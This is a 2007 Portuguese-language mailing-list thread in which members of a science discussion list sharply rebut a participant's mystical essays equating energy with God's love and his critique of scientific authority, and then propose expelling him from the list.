(olhe em volta, Ferrari, e tente encontrar algo que NÃO deriva do
método), seguro, e produzir dados consistentes.

Apresente um método alternativo que seja tão capaz quanto o método
científico, e abandonamos na hora e adotamos o seu. Mas se tudo o que
tem é uma f´pe tola e cega, não vai dar. Nem você está disposto a
abandonar os sucessos da ciência (por exemplo, pare de usar
computadores e passe a propagar suas mensagens por telepatia, rezas ou
forças divinas..:-).

Um cientista afirma algo. Você parece pensar, com extrema ingenuidade
e ignorância, que imediatamente todos os outros cientistas aceitam e
passam a "acreditar" na alegação, pois foi dita por um "cientista".

O erro é crasso. Mesmo cientistas tem de passar pelo método. Na
verdade, é um cientista SE passar pelo método. Por exemplo, se um
cientista, um grupo de cientistas, afirmar que pode produzir fusão em
temperaturas ambientes, fusão à frio, ele tem de PROVAR isso.

Se os outros cientistas, e outros laboratórios, que irão replicar,
analisar e criticar essa alegação, não puderem encontrar evidências
reais, será descartada.

E foi. Uma alegação de cientistas que foi descartada, como muitas, por
ser incapaz de produzir evidências sólidas.

Toda alegação atual da ciência passou por dúvidas, críticas ferozes,
análises profundas, antes de ser aceita. Seja a Teoria da Deriva dos
Continentes, recusada por décadas por falta de evidências, seja a
micro-biologia, que teve de esperar anos para ser aceita (e levou
Pasteur, um cientista consagrado, ao limite do escárnio).

Confiamos na micro-biologia, porque este conhecimento passou por
rigoroso teste, de décadas, e se demonstrou correto, e sobreviveu a
todos os ataques. Não, como parece pensar (ou NÃO pensar) porque foi
produzido por cientistas.

Ferrari: "Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?"

Sim, seria bom que aprendesse a pensar, no lugar de acreditar em
tolices simplórias da religião, e em bobagens esotéricas, jogos de
palavras com termos que não compreende como "energia", campos,
matéria, etc. Seria excelente que abandonasse a postura bobo alegre e
pensasse de verdade, com a razão, não com o desejo pessoal de validar
uma fé cega em seres imaginários.

Ferrari: "É necessário acabar com o mito de que o cientista é uma
pessoa que pensa melhor do que as outras."

Esse "mito" só existe em sua cabeça. O cientista é qualquer pessoa que
aplique a um conhecimento o método, rigoroso, científico, criado para
ajudar a produzir conehcimento confiável, apesar dos defeitos e erros
de nossa mente e sentidos.

Até um idiota pode produzir conehcimento científico, até você pode
produzir conehcimento científico, se usar o método, se seus estudos se
submeterem a este, se sobreviver ao rigoroso escrutínio de sistemas de
análise e crítica deste método.

Ferrari: "O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar."

Outro texto "de impacto" e totalmente irrelevante, tolo e sem sentido
para a discussão. e daí? O que isso significa? Mais uma "frase" que
ouviu sem entender a que se aplica, como a maioria de seus chavões e
frases feitas.

Seu ataque a ciência é uma bobagem! Não existe a "ciência" que pensa
atacar, não existem os "cientistas" que pensa atacar! Existe um
método, um conjunto de procedimentos e estruturas que nos permitiu
filtrar realidade de imaginação, seres imaginários de seres reais, e
que resulta em tanta confiabilidade que mesmo você, sem entender nada
de nada, usa os resultados desses processos para viver e se expressar.

Um idiota, se usar o método, pode produzir conhecimento que será
aceito, um genio, cientista, jogador de xadrez em nível de mestre, com
QI de 180, pode ter sua alegação recusada por não sobreviver ao método.

O resto é uma viagem sem sentido de imaginação, o que você "imagina"
que seja ciência, "imagina" que sejam cientistas", "imagina" que seja
o universo e suas divindades inexistentes.

Sua diatribe contra a ciência é um dos textos mais tolos que já tive a
oportunidade de ler. Nunca o termo "sem noção" foi tão bem aplicado..:-)

Homero

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Veja as imagens da ciência e do cientista que aparecem
> na televisão. Os agentes de propaganda não são bobos.
> Se eles usam tais imagens é porque eles sabem que elas
> são eficientes para desencadear decisões e
> comportamentos. É o que foi dito antes: cientista tem
> autoridade, sabe sobre o que está falando e os outros
> devem ouvi-lo e obedecê-lo.
>
> Daí que imagem de ciência e cientista pode e é usada
> para ajudar a vender cigarro. Veja, por exemplo, os
> novos tipos de cigarro, produzidos cientificamente. E
> os laboratórios, microscópios e cientistas de aventais
> imaculadamente brancos enchem os olhos e a cabeça dos
> telespectadores. E há cientistas que anunciam pasta de
> dente, remédios para caspa, varizes, e assim por
> diante.
>
> O cientista virou um mito. E todo mito é perigoso,
> porque ele induz o comportamento e inibe o pensamento.
> Este é um dos resultados engraçados (e trágicos) da
> ciência. Se existe uma classe especializada em pensar
> de maneira correta (os cientistas), os outros
> indivíduos são liberados da obrigação de pensar e
> podem simplesmente fazer o que os cientistas mandam.
>
> Quando o médico lhe dá uma receita você faz perguntas?
> Sabe como os medicamentos funcionam? Será que você se
> pergunta se o médico sabe como os medicamentos
> funcionam? Ele manda, a gente compra e toma. Não
> pensamos. Obedecemos. Não precisamos pensar, porque
> acreditamos que há indivíduos especializados e
> competentes em pensar. Pagamos para que ele pense por
> nós.
>
> O que eu disse dos médicos você pode aplicar a tudo.
> Os economistas tomam decisões e temos de obedecer. Os
> engenheiros e urbanistas dizem como devem ser as
> nossas cidades, e assim acontece. Dizem que o álcool
> será a solução para que nossos automóveis continuem a
> trafegar, e a agricultura se altera para que a palavra
> dos técnicos se cumpra. Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?
>
> É necessário acabar com o mito de que o cientista é
> uma pessoa que pensa melhor do que as outras. O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar.
>
>
>
>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A Força que Nunca Seca ::: (sobre onipotência)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 02/04/2007 15:04

A FORÇA QUE NUNCA SECA
http://lampadadealadim.blogspot.com

(sobre onipotência)

<<< por isto uma força me leva a cantar / por isto
esta força estranha no ar / por isto é que eu canto
não posso parar >>> (Caetano Veloso)

Embora não possamos tocar deus com as mãos, ou vê-lo
com os olhos, ou escutá-lo com os ouvidos, ele nos é
revelado através de sua constante manifestação e da
nossa capacidade de percepção. Assim, podemos vê-lo
iluminando um quarto escuro, senti-lo no calor do
fogo, ouvi-lo numa musica. Som, luz, calor são alguns
exemplos de como podemos constantemente detectar,
decodificar e deduzir deus através da sua constante
manifestação.

A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.

Já aconteceu de você estar no cinema e, de repente,
acabar a energia? O que aconteceu com cada uma das
formas cinematográficas que estavam se manifestando na
tela? Todas desapareceram simultaneamente, não foi?
Quando falta eletricidade num parque de diversões, o
que acontece? Todos os brinquedos param
simultaneamente, não é? Analogamente, a manifestação
de deus é a força responsável por transformar
(atualizar) todas as formas do conteúdo universal.
Desligada a manifestação universal cessariam
simultaneamente todas as formas e transformações
(evolução). O universo seria apenas um conteúdo
inerte, assim como um mar sem ondas ou um filme sem
projeção. Popularmente chamamos a manifestação
universal de energia. Sendo assim, cabe aqui e agora
outra definição: o que é energia?

ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
ETERNIDADE. É O AMOR DE DEUS.

Energia é a força que nunca seca. É o amor de deus, ou
como diz a semantica cristã: é o sangue de cristo que
é (constantemente) derramado por nós. Ou seja, energia
universal é o que mantém funcionando o eterno processo
de transformação das formas (evolução). É a força
eterna que mantém os brinquedos (formas) do parque de
diversões (cérebro de deus) em funcionamento
constante.

No principio era “o” verbo, diz a semantica cristã. O
que isto significa? Significa que o amor de deus é “o”
verbo, causa de todos os outros verbos. Ou seja, é a
continua manifestação de deus que faz o universo se
conjugar no presente contínuo. Pense nas quatro forças
que a fisica teoriza: eletricidade, magnetismo, força
fraca e forte. Como essas quatro forças poderiam
existir sem a manifestação universal? Não poderiam. As
quatro forças que a ciência teoriza é o amor de deus
visto por quatro teorias diferentes.

O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.

Imagine que você é um açougueiro que precisa moer um
quilo de carne de vaca, porém, como a tomada na parede
do seu açougue é vegetariana, ela se recusa a lhe
fornecer energia. Situação absurda, não é? Mas este
exemplo serve para nos mostrar que a energia universal
(amor de deus) tem uma característica fundamental:

A ENERGIA UNIVERSAL É UMA FORÇA CEGA.

Assim como a companhia elétrica fornece eletricidade
independente do uso que o usuário irá fazer da
eletricidade, assim o ser universal (deus) também
fornece seu amor para todos os seres criarem e
alimentarem o comportamento que bem entenderem. A
energia universal é cega para o uso que os seres fazem
dela. Ou seja, podemos usar a energia universal tanto
para amar o próximo como para odiá-los. Podemos usar a
energia universal tanto para criar espaçonaves como
bombas atômicas. Podemos usar a energia universal
tanto para tomar banho quente de chuveiro como para
matar pessoas eletrocutadas.

O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
OBJETIVO.


http://lampadadealadim.blogspot.com









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SUBJECT: Re: [ciencialist] RE: Murilo: Como funciona o processo...?
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 15:13

>
> Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
> está faltando em minha vida.
>

Acho que também sou um "proto-hyppie" :-) Meu objetivo é, um dia, comprar um
sítio e poder morar nele.

>
> Ferrari >>> Já tentou um acordo com a Agente Smith? O Cifer
> consegiu uma fazenda no Arizona que é uma beleza.
>

Hmmmm... Eu estava reconhecendo as suas idéias de algum lugar... :-) Você
acredita que vivemos em algo como a Matrix e que só você conseguiu se
libertar dela para "ver" a verdade... Que tudo é controlado por um deus, que
funciona como o Arquiteto da Matrix... "A colher não existe", é só um mapa
mental que "Deustrix" colocou na minha cabeça! :-)

Bom, não posso provar que isso é impossível mas, usando a navalha de Ockhan:
se não precisa existir, é mais provável que não exista.

Podemos inventar N realidades... Se você ainda não assistiu, assista "O 13º
andar", muito interessante.

Pode até te fazer "mudar de realidade" :-)

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] RE: Murilo: Como funciona o processo...?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 17:06

Sempre é bom recordar o 'espírito da Ciência'; vejamos:

De acordo com os astrônomos na próxima semana ocorrerão duas quartas-feiras. Segundo eles isso acontece a cada 60 mil anos e, embora não saibam o motivo, estão felizes por ter um dia a mais para tentar descobrir.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Jeff" <jeff@jeff.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 15:13
Assunto: Re: [ciencialist] RE: Murilo: Como funciona o processo...?


>
> Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
> está faltando em minha vida.
>

Acho que também sou um "proto-hyppie" :-) Meu objetivo é, um dia, comprar um
sítio e poder morar nele.

>
> Ferrari >>> Já tentou um acordo com a Agente Smith? O Cifer
> consegiu uma fazenda no Arizona que é uma beleza.
>

Hmmmm... Eu estava reconhecendo as suas idéias de algum lugar... :-) Você
acredita que vivemos em algo como a Matrix e que só você conseguiu se
libertar dela para "ver" a verdade... Que tudo é controlado por um deus, que
funciona como o Arquiteto da Matrix... "A colher não existe", é só um mapa
mental que "Deustrix" colocou na minha cabeça! :-)

Bom, não posso provar que isso é impossível mas, usando a navalha de Ockhan:
se não precisa existir, é mais provável que não exista.

Podemos inventar N realidades... Se você ainda não assistiu, assista "O 13º
andar", muito interessante.

Pode até te fazer "mudar de realidade" :-)

[]´,s
Jeff.



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SUBJECT: Re: [ciencialist] Correrção para o termo ignorante (era Tinha um (ignorante) no Meio do Caminho)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 17:35

Homero, permita-me acrescentar um exemplo marcante, os motos contínuos.

Quantos e quantos não perderam a saúde, a família, suas posses na busca da 'energia gratuita possibilitada pelo "seu" moto contínuo.
Recebo e-mails diários sobre o tema e todos provenientes de pessoas desligadas da ciência mas, bons técnicos nisso ou aquilo, eletricistas disso ou aquilo mas, sempre pessoas tipo 'Ferrari', obcecadas por algum idéia obscura e totalmente sem qqer lastro científico, querem fazer ímãs virar motores magníficos, rodas girarem por conta própria e alguns usam até de coisas místicas para impulsionarem suas engenhocas estéreis.
Para esses, a postura "a termodinâmica não permite isso" não tem o menor cabimento e quantos não estão dispostos a 'dispensarem' a termodinâmica (que nada tem a ver com a engenhoca dele, argumentam). Falar pro Ferrari que deuses e/ou divindades ocultas não existem (por total falta de evidência) é o mesmo que falar que moto contínuo nunca funcionará (pois a termodinâmica mostra isso através de sólidas evidências); em ambas as questões ele vai querer sair pela tangente perguntando "o que é evidência?" "o que é ser sólida?" "defina definição" "o que é idéia obscura?" "por que a termodinâmica chama-se termodinâmica se o calor não sai correndo?" E outras tantas 'brilhantes' perguntas que, na imaginação dele são totalmente pertinentes.

E assim caminha a humanidade?
"O que é humanidade?", "como a humanidade pode caminhar?" ... só para ir adiantando ....

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Oraculo" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 15:04
Assunto: [ciencialist] Correrção para o termo ignorante (era Tinha um (ignorante) no Meio do Caminho)


Olá pessoal

Depois de enviar a mensagem, eu a reli e ao título, e penso que o termo "ignorante" pode ser mal interpretado e se tornar ofensivo. Peço desculpas antecipadas, se isso ocorreu, em especial ao Ferrari. O termo aqui se refere única e exclusivamente a ignorância de dados, informações, aspectos do problema, etc, sendo uma questão material, objetiva, e não subjetiva ou um julgamento de valor de qualquer tipo.

Eu mesmo sou ignorante em diversas áreas, (embora não pretenda teimar e dar palpite nas mesmas..:-), e considero que isso ocorre com todas as pessoas neste mundo moderno. Até porque não é mais possível uma pessoa ter conhecimento de toda informação produzida pela ciência, como já foi no passado. É , inclusive, um de meus argumentos apresentados no texto, deve-se confiar no método, e não no conhecimento em si, no modo de produzir informação, mais que na informação ou no autor ou defensor da mesma.

Mais um vez, peço desculpas ao Ferrari se o termo foi ofensivo, e insisto que ele deve ser tomado apenas em sua conotação objetiva, de ignorar dados e informações.

Um abraço.

Homero

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 1:04 PM
Subject: [ciencialist] Re: Tinha um (ignorante) no Meio do Caminho (sobre os sem noção.:-)


Olá Ferrari

O texto que postou demonstra um profundo desconhecimento sobre
ciência, lógica, razão, pensamento coerente, pensamento crítico, e
outras ferramentas cognitivas. Nem sei por onde começar, de tão
simplório e falacioso..:-)

Bem, primeiro, cientistas de TV NÃO são cientistas de verdade, mas
imagens midiáticas, sem relação com a ciência propriamente dita. Se
existem, é porque mesmo os MAIS tolos percebem claramente que o
conhecimento científico é mais EFICAZ e mais correto que qualquer outro.

Por isso a ligação com comerciais e alegações. Na verdade, mesmo as
mais absurdas pseudociências, e mesmo sua fé tola e sem base, precisam
usar termos "científicos", precisam alegar serem "cientificamente
provadas", ou não se consideram capazes de convencer.

Mas o conhecimento científico NÃO é válido por ser "feito por
cientistas". Não é nos cientistas que se "acredita", ou melhor, que se
confia nas conclusões, mas no método que foi utilizado para produzir
essas conclusões.

Tem razão, não perguntamos ao médico como o tratamento ou droga que
ele receita foi produzido. Está implícito no sistema que foi produzido
pelo mesmo método que produz carros mais seguros, satélites
geo-estacionários, redes de computadores mundiais, que aumentou a
expectativa de vida em mais de 3 vezes (de menos de 30 de nossos
antepassados, para mais de 85 anos), e toda profusão de conehcimento a
nossa volta.

E mesmo essa presunção pode ser suspensa, se o médico demonstrar estar
"fora" desse padrão, e será punido pelos órgãos encarregados de
fiscalizar os médicos.

É uma confiança embasada em eficácia, confiabilidade, decorrente do
método com que conclusões e conhecimento é produzido, não nos médicos
ou mesmo nos cientistas.

Na verdade, refutar uma alegação de um cientista costuma ganhar
prêmios, como o Nobel, pois AUMENTAM nosso conhecimento do mundo e a
confiabilidade desse conhecimento.

|Você só pode escrever as asneiras que escreve, e envia-las para um
monte de pessoas, porque a ciência que embasa seu computador, os
satélites, os softwares, o eletromagnetismo, a relatividade, etc, etc,
etc, são muito próximas da verdade, de serem reais.

Se dependesse apenas de sua "fé" em tolices como as que apresenta
(deuses, mapas mentais, e outras bobagens), estaria falando sozinho
até agora.

Por isso você, que não "acredita no mito da ciência", usa a ciência,
se beneficia desta, para viver melhor, mais tempo, com menos doenças e
dor, com mais conforto e uma enorme expectativa de vida, para tentar
convencer outros de seus absurdos, e não sua divindade maluca e sem
evidências.

É um profundo desconhecimento do que é ciência e conhecimento
confiável, uma ignorância feliz e cega em bobagens esotéricas.

É evidente para QUALQUER pessoas com mais de 3 neurônios, que um
sistema de validação tem de existir, em termos de acumular
conhecimento confiável, pois seria claramente IMPOSSÍVEL re-verificar
todo conhecimento, toda ciência, toda informação, toda conclusão,
antes de agir. Verificar, por exemplo, se os sistemas de freio ABS são
mesmo seguros como os testes de laboratório indicam, antes de comprar
e usar um automóvel (cada cidadão que comprasse um automóvel), ou
refazer todos os extensos testes de laboratório para novos
medicamentos (levam anos para desenvolver um medicamento seguro e
confiável).

Antes de vacinar seus filhos, teria de refazer as décadas de estudos
com vacinas, para se garantir que são capazes de evitar a contaminação.

É uma estupidez evidente.

Por isso um método de verificação foi criado e é aperfeiçoado a cada
dia. Por isso antes de publicar em uma revista científica, cada estudo
é testado, replicado, refeito, por cientistas, o que inclui os que tem
dúvidas ou discordam do estudo inicial, até a exaustão. Só depois é
publicado, o que nos garante que um bocado de gente se dedicou a
analisar e um bocado de esforço foi feito para verificar a questão.

Confia-se no método, não nos cientistas (como você confia no Papa e na
Biblia). E só se confia, porque esse método tem demonstrado ser eficaz
(olhe em volta, Ferrari, e tente encontrar algo que NÃO deriva do
método), seguro, e produzir dados consistentes.

Apresente um método alternativo que seja tão capaz quanto o método
científico, e abandonamos na hora e adotamos o seu. Mas se tudo o que
tem é uma f´pe tola e cega, não vai dar. Nem você está disposto a
abandonar os sucessos da ciência (por exemplo, pare de usar
computadores e passe a propagar suas mensagens por telepatia, rezas ou
forças divinas..:-).

Um cientista afirma algo. Você parece pensar, com extrema ingenuidade
e ignorância, que imediatamente todos os outros cientistas aceitam e
passam a "acreditar" na alegação, pois foi dita por um "cientista".

O erro é crasso. Mesmo cientistas tem de passar pelo método. Na
verdade, é um cientista SE passar pelo método. Por exemplo, se um
cientista, um grupo de cientistas, afirmar que pode produzir fusão em
temperaturas ambientes, fusão à frio, ele tem de PROVAR isso.

Se os outros cientistas, e outros laboratórios, que irão replicar,
analisar e criticar essa alegação, não puderem encontrar evidências
reais, será descartada.

E foi. Uma alegação de cientistas que foi descartada, como muitas, por
ser incapaz de produzir evidências sólidas.

Toda alegação atual da ciência passou por dúvidas, críticas ferozes,
análises profundas, antes de ser aceita. Seja a Teoria da Deriva dos
Continentes, recusada por décadas por falta de evidências, seja a
micro-biologia, que teve de esperar anos para ser aceita (e levou
Pasteur, um cientista consagrado, ao limite do escárnio).

Confiamos na micro-biologia, porque este conhecimento passou por
rigoroso teste, de décadas, e se demonstrou correto, e sobreviveu a
todos os ataques. Não, como parece pensar (ou NÃO pensar) porque foi
produzido por cientistas.

Ferrari: "Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?"

Sim, seria bom que aprendesse a pensar, no lugar de acreditar em
tolices simplórias da religião, e em bobagens esotéricas, jogos de
palavras com termos que não compreende como "energia", campos,
matéria, etc. Seria excelente que abandonasse a postura bobo alegre e
pensasse de verdade, com a razão, não com o desejo pessoal de validar
uma fé cega em seres imaginários.

Ferrari: "É necessário acabar com o mito de que o cientista é uma
pessoa que pensa melhor do que as outras."

Esse "mito" só existe em sua cabeça. O cientista é qualquer pessoa que
aplique a um conhecimento o método, rigoroso, científico, criado para
ajudar a produzir conehcimento confiável, apesar dos defeitos e erros
de nossa mente e sentidos.

Até um idiota pode produzir conehcimento científico, até você pode
produzir conehcimento científico, se usar o método, se seus estudos se
submeterem a este, se sobreviver ao rigoroso escrutínio de sistemas de
análise e crítica deste método.

Ferrari: "O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar."

Outro texto "de impacto" e totalmente irrelevante, tolo e sem sentido
para a discussão. e daí? O que isso significa? Mais uma "frase" que
ouviu sem entender a que se aplica, como a maioria de seus chavões e
frases feitas.

Seu ataque a ciência é uma bobagem! Não existe a "ciência" que pensa
atacar, não existem os "cientistas" que pensa atacar! Existe um
método, um conjunto de procedimentos e estruturas que nos permitiu
filtrar realidade de imaginação, seres imaginários de seres reais, e
que resulta em tanta confiabilidade que mesmo você, sem entender nada
de nada, usa os resultados desses processos para viver e se expressar.

Um idiota, se usar o método, pode produzir conhecimento que será
aceito, um genio, cientista, jogador de xadrez em nível de mestre, com
QI de 180, pode ter sua alegação recusada por não sobreviver ao método.

O resto é uma viagem sem sentido de imaginação, o que você "imagina"
que seja ciência, "imagina" que sejam cientistas", "imagina" que seja
o universo e suas divindades inexistentes.

Sua diatribe contra a ciência é um dos textos mais tolos que já tive a
oportunidade de ler. Nunca o termo "sem noção" foi tão bem aplicado..:-)

Homero

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Veja as imagens da ciência e do cientista que aparecem
> na televisão. Os agentes de propaganda não são bobos.
> Se eles usam tais imagens é porque eles sabem que elas
> são eficientes para desencadear decisões e
> comportamentos. É o que foi dito antes: cientista tem
> autoridade, sabe sobre o que está falando e os outros
> devem ouvi-lo e obedecê-lo.
>
> Daí que imagem de ciência e cientista pode e é usada
> para ajudar a vender cigarro. Veja, por exemplo, os
> novos tipos de cigarro, produzidos cientificamente. E
> os laboratórios, microscópios e cientistas de aventais
> imaculadamente brancos enchem os olhos e a cabeça dos
> telespectadores. E há cientistas que anunciam pasta de
> dente, remédios para caspa, varizes, e assim por
> diante.
>
> O cientista virou um mito. E todo mito é perigoso,
> porque ele induz o comportamento e inibe o pensamento.
> Este é um dos resultados engraçados (e trágicos) da
> ciência. Se existe uma classe especializada em pensar
> de maneira correta (os cientistas), os outros
> indivíduos são liberados da obrigação de pensar e
> podem simplesmente fazer o que os cientistas mandam.
>
> Quando o médico lhe dá uma receita você faz perguntas?
> Sabe como os medicamentos funcionam? Será que você se
> pergunta se o médico sabe como os medicamentos
> funcionam? Ele manda, a gente compra e toma. Não
> pensamos. Obedecemos. Não precisamos pensar, porque
> acreditamos que há indivíduos especializados e
> competentes em pensar. Pagamos para que ele pense por
> nós.
>
> O que eu disse dos médicos você pode aplicar a tudo.
> Os economistas tomam decisões e temos de obedecer. Os
> engenheiros e urbanistas dizem como devem ser as
> nossas cidades, e assim acontece. Dizem que o álcool
> será a solução para que nossos automóveis continuem a
> trafegar, e a agricultura se altera para que a palavra
> dos técnicos se cumpra. Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?
>
> É necessário acabar com o mito de que o cientista é
> uma pessoa que pensa melhor do que as outras. O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar.
>
>
>
>
>
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SUBJECT: Re: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <emailferrari@yahoo.com.br>
DATE: 02/04/2007 17:48

Aqui não é lista religiosa. Se analisado sob cunho científico o texto é uma enxurrada de bobagens:
Força é úmida (pois nunca seca)
energia é força (então prá que duas palavras para o mesmo conceito)
e as bobagens se amontoam.

Sugiro aos demais moderadores pensarem na opção 'deletar'; têm minha aprovação.

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <emailferrari@yahoo.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 15:04
Assunto: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)


A FORÇA QUE NUNCA SECA
http://lampadadealadim.blogspot.com

(sobre onipotência)

<<< por isto uma força me leva a cantar / por isto
esta força estranha no ar / por isto é que eu canto
não posso parar >>> (Caetano Veloso)

Embora não possamos tocar deus com as mãos, ou vê-lo
com os olhos, ou escutá-lo com os ouvidos, ele nos é
revelado através de sua constante manifestação e da
nossa capacidade de percepção. Assim, podemos vê-lo
iluminando um quarto escuro, senti-lo no calor do
fogo, ouvi-lo numa musica. Som, luz, calor são alguns
exemplos de como podemos constantemente detectar,
decodificar e deduzir deus através da sua constante
manifestação.

A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.

Já aconteceu de você estar no cinema e, de repente,
acabar a energia? O que aconteceu com cada uma das
formas cinematográficas que estavam se manifestando na
tela? Todas desapareceram simultaneamente, não foi?
Quando falta eletricidade num parque de diversões, o
que acontece? Todos os brinquedos param
simultaneamente, não é? Analogamente, a manifestação
de deus é a força responsável por transformar
(atualizar) todas as formas do conteúdo universal.
Desligada a manifestação universal cessariam
simultaneamente todas as formas e transformações
(evolução). O universo seria apenas um conteúdo
inerte, assim como um mar sem ondas ou um filme sem
projeção. Popularmente chamamos a manifestação
universal de energia. Sendo assim, cabe aqui e agora
outra definição: o que é energia?

ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
ETERNIDADE. É O AMOR DE DEUS.

Energia é a força que nunca seca. É o amor de deus, ou
como diz a semantica cristã: é o sangue de cristo que
é (constantemente) derramado por nós. Ou seja, energia
universal é o que mantém funcionando o eterno processo
de transformação das formas (evolução). É a força
eterna que mantém os brinquedos (formas) do parque de
diversões (cérebro de deus) em funcionamento
constante.

No principio era "o" verbo, diz a semantica cristã. O
que isto significa? Significa que o amor de deus é "o"
verbo, causa de todos os outros verbos. Ou seja, é a
continua manifestação de deus que faz o universo se
conjugar no presente contínuo. Pense nas quatro forças
que a fisica teoriza: eletricidade, magnetismo, força
fraca e forte. Como essas quatro forças poderiam
existir sem a manifestação universal? Não poderiam. As
quatro forças que a ciência teoriza é o amor de deus
visto por quatro teorias diferentes.

O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.

Imagine que você é um açougueiro que precisa moer um
quilo de carne de vaca, porém, como a tomada na parede
do seu açougue é vegetariana, ela se recusa a lhe
fornecer energia. Situação absurda, não é? Mas este
exemplo serve para nos mostrar que a energia universal
(amor de deus) tem uma característica fundamental:

A ENERGIA UNIVERSAL É UMA FORÇA CEGA.

Assim como a companhia elétrica fornece eletricidade
independente do uso que o usuário irá fazer da
eletricidade, assim o ser universal (deus) também
fornece seu amor para todos os seres criarem e
alimentarem o comportamento que bem entenderem. A
energia universal é cega para o uso que os seres fazem
dela. Ou seja, podemos usar a energia universal tanto
para amar o próximo como para odiá-los. Podemos usar a
energia universal tanto para criar espaçonaves como
bombas atômicas. Podemos usar a energia universal
tanto para tomar banho quente de chuveiro como para
matar pessoas eletrocutadas.

O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
OBJETIVO.


http://lampadadealadim.blogspot.com









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SUBJECT: PEDIDO DE EXCLUSAO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 17:56

Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de anteriores) e tendo-se em vista que C-List é muito lida e avaliada por muitos, proponho, para que não caiamos no escárnio de nossos leitores, a exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de recomendação" para outras listas que estejam dispostas a lerem suas 'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?


Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
